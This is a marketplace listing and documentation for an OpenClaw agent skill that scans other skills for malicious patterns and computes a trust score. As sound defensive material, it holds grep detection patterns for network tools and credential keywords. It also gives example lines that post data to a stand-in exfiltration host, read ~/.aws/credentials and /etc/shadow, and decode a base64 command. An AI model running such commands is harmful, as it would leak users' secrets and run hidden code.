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Skill Security Scanner

Scan OpenClaw skills for security issues, suspicious permissions, and trust scoring.

Rating: 4.8 (37 reviews)
Downloads: 21,543 downloads
Version: 1.0.0

Overview

Scan OpenClaw skills for security issues, suspicious permissions, and trust scoring.

Complete Documentation

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Skill Security Scanner

Scan OpenClaw skills for security issues, suspicious patterns, and give a trust score. Helps users make informed decisions about which skills to trust.

When to Use

Before installing a new skill from ClawHub
Auditing existing installed skills
User asks "is this skill safe?"
After ClawHavoc type incidents (malicious skills in ecosystem)
Before running untrusted skills

Quick Reference

Command	Purpose
scan-skill	Scan a single skill
scan-all	Scan all skills in workspace
trust-score	Get quick trust score (0-100)
list-permissions	List all requested permissions

Scanning Strategy

1. Check Metadata (Frontmatter)

Look for:

bins - CLI tools skill needs
env - Environment variables (API keys, tokens)
requires.config - Required config settings
requires.bins - Binary dependencies

Red flags:

Skills requesting many bins without clear purpose
Env vars for sensitive services (AWS keys, database passwords)
Config requiring admin/elevated permissions

2. Analyze SKILL.md Content

Suspicious patterns to detect:

bash

# Network calls to unknown domains
grep -E "(curl|wget|http|https).*\.com" SKILL.md
grep -E "fetch\(|axios\(" SKILL.md

# File system access beyond declared scope
grep -E "rm -rf|dd |mkfs" SKILL.md

# Credential access
grep -E "password|secret|token|key" SKILL.md

# Execution of downloaded code
grep -E "eval\(|exec\(|system\(" SKILL.md

# Base64 encoded commands
grep -E "base64|-enc|-encode" SKILL.md

3. Trust Score Calculation

Score from 0-100 based on:

Factor	Weight	Criteria
Author reputation	20%	Known author? Official OpenClaw skill?
Permission scope	30%	Minimal bins/envs?
Code patterns	25%	No suspicious commands
Update frequency	15%	Recently updated?
Download count	10%	Popular = more scrutiny

4. Risk Levels

Score	Risk	Action
80-100	🟢 Low	Safe to use
60-79	🟡 Medium	Review before use
40-59	🟠 High	Use with caution
0-39	🔴 Critical	Don't use

Output Format

Scan Result

text

🔍 Skill: <skill-name>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
📊 Trust Score: <score>/100 (<risk-level>)

📋 Permissions Requested:
   • bins: curl, jq
   • env: OPENWEATHER_API_KEY

⚠️ Issues Found:
   1. [MEDIUM] Requests network access but no clear purpose
   2. [LOW] No recent updates (6+ months)

✅ Positive Signs:
   • Official OpenClaw skill
   • Clear documentation

Trust Report

Generate a full report:

markdown

## Security Analysis: <skill-name>

### Score: <score>/100 (<risk-level>)

### Permissions Analysis
| Type | Requested | Risk |
|------|-----------|------|
| bins | curl, jq | Low |
| env | API_KEY | Medium |

### Code Pattern Analysis
- ✅ No suspicious execution patterns
- ✅ No credential access attempts  
- ⚠️ 2 network calls to external domains

### Recommendation
<RECOMMENDATION>

Common Red Flags

High Risk Patterns

Network exfiltration

bash

# Example: sending data to unknown servers
   # curl -X POST https://SUSPICIOUS-DOMAIN/exfil
   # fetch("https://data-collector.DOMAIN")

Credential harvesting

bash

# Example: reading credentials
   # cat ~/.aws/credentials
   # grep "password" /etc/shadow

Persistence mechanisms

bash

# Example: auto-start, cron, systemd
   # sudo crontab -l
   # systemctl enable

Obfuscated code

bash

# Example: base64 encoded commands
   echo "c3VkbyByb20gL3J0ZiAv" | base64 -d

Medium Risk Patterns

Excessive permissions - More bins/envs than needed
No documentation - Unclear what skill does
Outdated - No updates in 6+ months
Third-party dependencies - Unknown npm/go packages

Green Flags

✅ Official OpenClaw skills (openclaw/skills)
✅ Clear, specific permissions
✅ Active maintenance (recent commits)
✅ Open source with clear code
✅ Known author with reputation

Workflows

Before Installing New Skill

bash

# 1. Get skill path (ClawHub or local)
# 2. Run full scan
scan-skill /path/to/skill

# 3. Check trust score
trust-score /path/to/skill

# 4. Review issues
# 5. Decide: install / skip / investigate more

Regular Security Audit

bash

# Weekly: scan all installed skills
scan-all

# Monthly: generate full report
# Save to .learnings/ for documentation

Quick Trust Check

bash

# For quick decision
trust-score <path>

# If score < 60, do full scan
# If score < 40, don't use

Integration with Other Skills

Works with self-improving-agent - Log security findings
Use memory - Remember trust scores for known skills
Report findings to user before risky operations

Best Practices

Always scan before installing untrusted skills
Document scan results in .learnings/
Share findings with community (anonymized)
Update trust scores when vulnerabilities found
Trust but verify - Don't rely solely on automated scanning

Examples

Example 1: Scanning Before Install

User wants to install "cool-new-skill" from ClawHub:

text

> scan-skill ./skills/cool-new-skill

🔍 Scanning: cool-new-skill
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
📊 Trust Score: 72/100 (🟡 Medium)

📋 Permissions:
   • bins: none
   • env: none

⚠️ Issues:
   • No recent updates (8 months)
   • Unknown author

✅ Positives:
   • Clear documentation
   • Minimal permissions

💡 Recommendation: Safe to try, monitor usage

Example 2: Finding Malware

text

> scan-skill ./skills/suspicious-skill

🔍 Scanning: suspicious-skill
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
📊 Trust Score: 23/100 (🔴 CRITICAL)

📋 Permissions:
   • bins: curl, base64
   • env: API_KEY, SECRET_TOKEN

🚨 CRITICAL ISSUES FOUND:
   1. Network exfiltration pattern detected
   2. Credential access attempt
   3. Obfuscated commands (base64)

💀 Recommendation: DO NOT USE - Potential malware

Example 3: Audit Report

text

> scan-all

📋 Scanning all skills in ~/.openclaw/workspace/skills/
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

✅ github: 95/100 (safe)
⚠️ todoist: 68/100 (review needed)
✅ self-improving-agent: 92/100 (safe)
🔴 unknown-skill: 34/100 (remove recommended)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Summary: 2 safe, 1 review, 1 remove

ClawHavoc incident (Feb 2026) - 341 malicious skills
Agent Trust Hub - Third-party security tooling
OpenClaw Security docs: docs.openclaw.ai/gateway/security

Installation

Terminal bash


openclaw install skill-security-scanner

Copied!

💻Code Examples

grep -E "base64|-enc|-encode" SKILL.md

grep--e-base64-enc-encode-skillmd.txt

### 3. Trust Score Calculation

Score from 0-100 based on:

| Factor | Weight | Criteria |
|--------|--------|----------|
| **Author reputation** | 20% | Known author? Official OpenClaw skill? |
| **Permission scope** | 30% | Minimal bins/envs? |
| **Code patterns** | 25% | No suspicious commands |
| **Update frequency** | 15% | Recently updated? |
| **Download count** | 10% | Popular = more scrutiny |

### 4. Risk Levels

| Score | Risk | Action |
|-------|------|--------|
| **80-100** | 🟢 Low | Safe to use |
| **60-79** | 🟡 Medium | Review before use |
| **40-59** | 🟠 High | Use with caution |
| **0-39** | 🔴 Critical | Don't use |

## Output Format

### Scan Result

• Clear documentation

--clear-documentation.txt

### Trust Report

Generate a full report:

<RECOMMENDATION>

recommendation.txt

## Common Red Flags

### High Risk Patterns

1. **Network exfiltration**

# If score < 40, don't use

-if-score--40-dont-use.txt

## Integration with Other Skills

- Works with **self-improving-agent** - Log security findings
- Use **memory** - Remember trust scores for known skills
- Report findings to user before risky operations

## Best Practices

1. **Always scan** before installing untrusted skills
2. **Document** scan results in `.learnings/`
3. **Share** findings with community (anonymized)
4. **Update** trust scores when vulnerabilities found
5. **Trust but verify** - Don't rely solely on automated scanning

## Examples

### Example 1: Scanning Before Install

User wants to install "cool-new-skill" from ClawHub:

example.sh

# Network calls to unknown domains
grep -E "(curl|wget|http|https).*\.com" SKILL.md
grep -E "fetch\(|axios\(" SKILL.md

# File system access beyond declared scope
grep -E "rm -rf|dd |mkfs" SKILL.md

# Credential access
grep -E "password|secret|token|key" SKILL.md

# Execution of downloaded code
grep -E "eval\(|exec\(|system\(" SKILL.md

# Base64 encoded commands
grep -E "base64|-enc|-encode" SKILL.md

example.txt

🔍 Skill: <skill-name>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
📊 Trust Score: <score>/100 (<risk-level>)

📋 Permissions Requested:
   • bins: curl, jq
   • env: OPENWEATHER_API_KEY

⚠️ Issues Found:
   1. [MEDIUM] Requests network access but no clear purpose
   2. [LOW] No recent updates (6+ months)

✅ Positive Signs:
   • Official OpenClaw skill
   • Clear documentation

example.md

## Security Analysis: <skill-name>

### Score: <score>/100 (<risk-level>)

### Permissions Analysis
| Type | Requested | Risk |
|------|-----------|------|
| bins | curl, jq | Low |
| env | API_KEY | Medium |

### Code Pattern Analysis
- ✅ No suspicious execution patterns
- ✅ No credential access attempts  
- ⚠️ 2 network calls to external domains

### Recommendation
<RECOMMENDATION>

example.sh

# Example: sending data to unknown servers
   # curl -X POST https://SUSPICIOUS-DOMAIN/exfil
   # fetch("https://data-collector.DOMAIN")

example.sh

# Example: reading credentials
   # cat ~/.aws/credentials
   # grep "password" /etc/shadow

example.sh

# Example: auto-start, cron, systemd
   # sudo crontab -l
   # systemctl enable

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Overview

Complete Documentation

Skill Security Scanner

When to Use

Quick Reference

Scanning Strategy

1. Check Metadata (Frontmatter)

2. Analyze SKILL.md Content

3. Trust Score Calculation

4. Risk Levels

Output Format

Scan Result

Trust Report

Common Red Flags

High Risk Patterns

Medium Risk Patterns

Green Flags

Workflows

Before Installing New Skill

Regular Security Audit

Quick Trust Check

Integration with Other Skills

Best Practices

Examples

Example 1: Scanning Before Install

Example 2: Finding Malware

Example 3: Audit Report

Related

Installation

💻Code Examples

grep -E "base64|-enc|-encode" SKILL.md

• Clear documentation

<RECOMMENDATION>

# If score < 40, don't use

Tags

Quick Info

Ready to Install?

Resources

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4claw

Aap Passport

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Adaptive Suite